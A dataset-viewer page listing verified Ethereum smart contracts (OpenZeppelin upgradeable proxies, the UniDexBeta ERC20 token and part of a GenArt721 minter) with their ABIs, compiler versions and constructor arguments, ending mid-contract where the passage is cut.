Datasets:

ASSERT-KTH

/

DISL

like 5

AdminUpgradeabilityProxy

@openzeppelin/upgrades/contracts/upgradeability/UpgradeabilityProxy.sol

0xbbcddd6c81c4c51b9dac55e4364c60002c07346d

Solidity

pragma solidity ^0.5.0; /** * @title UpgradeabilityProxy * @dev Extends BaseUpgradeabilityProxy with a constructor for initializing * implementation and init data. */ contract UpgradeabilityProxy is BaseUpgradeabilityProxy { /** * @dev Contract constructor. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, bytes memory _data) public payable { assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)); _setImplementation(_logic); if(_data.length > 0) { (bool success,) = _logic.delegatecall(_data); require(success); } } }

[{"constant":false,"inputs":[{"name":"newImplementation","type":"address"}],"name":"upgradeTo","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"newImplementation","type":"address"},{"name":"data","type":"bytes"}],"name":"upgradeToAndCall","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[],"name":"implementation","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"newAdmin","type":"address"}],"name":"changeAdmin","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"admin","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[{"name":"_logic","type":"address"},{"name":"_admin","type":"address"},{"name":"_data","type":"bytes"}],"payable":true,"stateMutability":"payable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"anonymous":false,"inputs":[{"indexed":false,"name":"previousAdmin","type":"address"},{"indexed":false,"name":"newAdmin","type":"address"}],"name":"AdminChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"implementation","type":"address"}],"name":"Upgraded","type":"event"}]

v0.5.3+commit.10d17f24

000000000000000000000000fe614f9d61f388b101b10d659e22a04c6460b7bf0000000000000000000000008a33b9d723472869e815a6af0d40ccf2925d37bd000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000844ec81af1000000000000000000000000521b0fef9cdcf250abaf8e7bc798cbe13fa9869200000000000000000000000000000000000000000000000000470de4df820000000000000000000000000000000000000000000000000000000000000001518000000000000000000000000000000000000000000000000000000000004f1a0000000000000000000000000000000000000000000000000000000000

constantinople

MIT

bzzr://3a61cbfff803b053d8f397cf95cfa0c8c53ef12ce921c5d484b275b58be38897

AdminUpgradeabilityProxy

@openzeppelin/upgrades/contracts/upgradeability/AdminUpgradeabilityProxy.sol

0xbbcddd6c81c4c51b9dac55e4364c60002c07346d

Solidity

pragma solidity ^0.5.0; /** * @title AdminUpgradeabilityProxy * @dev Extends from BaseAdminUpgradeabilityProxy with a constructor for * initializing the implementation, admin, and init data. */ contract AdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, UpgradeabilityProxy { /** * Contract constructor. * @param _logic address of the initial implementation. * @param _admin Address of the proxy administrator. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable { assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1)); _setAdmin(_admin); } }

[{"constant":false,"inputs":[{"name":"newImplementation","type":"address"}],"name":"upgradeTo","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"newImplementation","type":"address"},{"name":"data","type":"bytes"}],"name":"upgradeToAndCall","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[],"name":"implementation","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"newAdmin","type":"address"}],"name":"changeAdmin","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"admin","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[{"name":"_logic","type":"address"},{"name":"_admin","type":"address"},{"name":"_data","type":"bytes"}],"payable":true,"stateMutability":"payable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"anonymous":false,"inputs":[{"indexed":false,"name":"previousAdmin","type":"address"},{"indexed":false,"name":"newAdmin","type":"address"}],"name":"AdminChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"implementation","type":"address"}],"name":"Upgraded","type":"event"}]

v0.5.3+commit.10d17f24

000000000000000000000000fe614f9d61f388b101b10d659e22a04c6460b7bf0000000000000000000000008a33b9d723472869e815a6af0d40ccf2925d37bd000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000844ec81af1000000000000000000000000521b0fef9cdcf250abaf8e7bc798cbe13fa9869200000000000000000000000000000000000000000000000000470de4df820000000000000000000000000000000000000000000000000000000000000001518000000000000000000000000000000000000000000000000000000000004f1a0000000000000000000000000000000000000000000000000000000000

constantinople

MIT

bzzr://3a61cbfff803b053d8f397cf95cfa0c8c53ef12ce921c5d484b275b58be38897

UniDexBeta

UniDexBeta.sol

0x32b1ffd9676942d1fb64ff1031c91016432c4a64

Solidity

/** *Submitted for verification at Etherscan.io on 2020-09-09 */ // Partial License: MIT pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // Partial License: MIT pragma solidity ^0.6.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // Partial License: MIT pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // Partial License: MIT pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // Partial License: MIT pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // Partial License: MIT pragma solidity ^0.6.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 0; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // Partial License: MIT pragma solidity ^0.6.0; /** * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ abstract contract ERC20Burnable is Context, ERC20 { /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance"); _approve(account, _msgSender(), decreasedAllowance); _burn(account, amount); } } pragma solidity ^0.6.0; contract UniDexBeta is ERC20Burnable { constructor(string memory name, string memory symbol, uint256 amount, uint8 decimals) ERC20(name, symbol) public payable { _setupDecimals(decimals); _mint(msg.sender, amount); } }

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v0.6.2+commit.bacdbe57

000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000000640000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a554e49444558424554410000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000055544455842000000000000000000000000000000000000000000000000000000

Default

GNU GPLv3

ipfs://1b56d16ee5a877a65f016ca50766b44e05b59a08a6b79e335ca9b9c960faf6ec

GenArt721Minter_DoodleLabs

contracts/Strings.sol

0x4f598212d55415d83a7024ddb48d9fca1afe4edf

Solidity

pragma solidity ^0.5.0; //https://github.com/oraclize/ethereum-api/blob/master/oraclizeAPI_0.5.sol library Strings { function strConcat(string memory _a, string memory _b) internal pure returns (string memory _concatenatedString) { return strConcat(_a, _b, "", "", ""); } function strConcat(string memory _a, string memory _b, string memory _c) internal pure returns (string memory _concatenatedString) { return strConcat(_a, _b, _c, "", ""); } function strConcat(string memory _a, string memory _b, string memory _c, string memory _d) internal pure returns (string memory _concatenatedString) { return strConcat(_a, _b, _c, _d, ""); } function strConcat(string memory _a, string memory _b, string memory _c, string memory _d, string memory _e) internal pure returns (string memory _concatenatedString) { bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); bytes memory _bc = bytes(_c); bytes memory _bd = bytes(_d); bytes memory _be = bytes(_e); string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); bytes memory babcde = bytes(abcde); uint k = 0; uint i = 0; for (i = 0; i < _ba.length; i++) { babcde[k++] = _ba[i]; } for (i = 0; i < _bb.length; i++) { babcde[k++] = _bb[i]; } for (i = 0; i < _bc.length; i++) { babcde[k++] = _bc[i]; } for (i = 0; i < _bd.length; i++) { babcde[k++] = _bd[i]; } for (i = 0; i < _be.length; i++) { babcde[k++] = _be[i]; } return string(babcde); } function uint2str(uint _i) internal pure returns (string memory _uintAsString) { if (_i == 0) { return "0"; } uint j = _i; uint len; while (j != 0) { len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; while (_i != 0) { bstr[k--] = byte(uint8(48 + _i % 10)); _i /= 10; } return string(bstr); } }

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v0.5.0+commit.1d4f565a

00000000000000000000000028f2d3805652fb5d359486dffb7d08320d403240

Default

MIT

bzzr://018e9db6fc87de3b4ec6751ef408a6dbf1f5884a0acfe1bee5d98f034c62d864

GenArt721Minter_DoodleLabs

openzeppelin-solidity/contracts/math/SafeMath.sol

0x4f598212d55415d83a7024ddb48d9fca1afe4edf

Solidity

/** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } } interface GenArt721CoreV2 { function isWhitelisted(address sender) external view returns (bool); function projectIdToCurrencySymbol(uint256 _projectId) external view returns (string memory); function projectIdToCurrencyAddress(uint256 _projectId) external view returns (address); function projectIdToArtistAddress(uint256 _projectId) external view returns (address payable); function projectIdToPricePerTokenInWei(uint256 _projectId) external view returns (uint256); function projectIdToAdditionalPayee(uint256 _projectId) external view returns (address payable); function projectIdToAdditionalPayeePercentage(uint256 _projectId) external view returns (uint256); function projectTokenInfo(uint256 _projectId) external view returns (address, uint256, uint256, uint256, bool, address, uint256, string memory, address); function renderProviderAddress() external view returns (address payable); function renderProviderPercentage() external view returns (uint256); function mint(address _to, uint256 _projectId, address _by) external returns (uint256 tokenId); } interface ERC20 { function balanceOf(address _owner) external view returns (uint balance); function transferFrom(address _from, address _to, uint _value) external returns (bool success); function allowance(address _owner, address _spender) external view returns (uint remaining); } interface BonusContract { function triggerBonus(address _to) external returns (bool); function bonusIsActive() external view returns (bool); } contract GenArt721Minter_DoodleLabs { using SafeMath for uint256; GenArt721CoreV2 public genArtCoreContract; uint256 constant 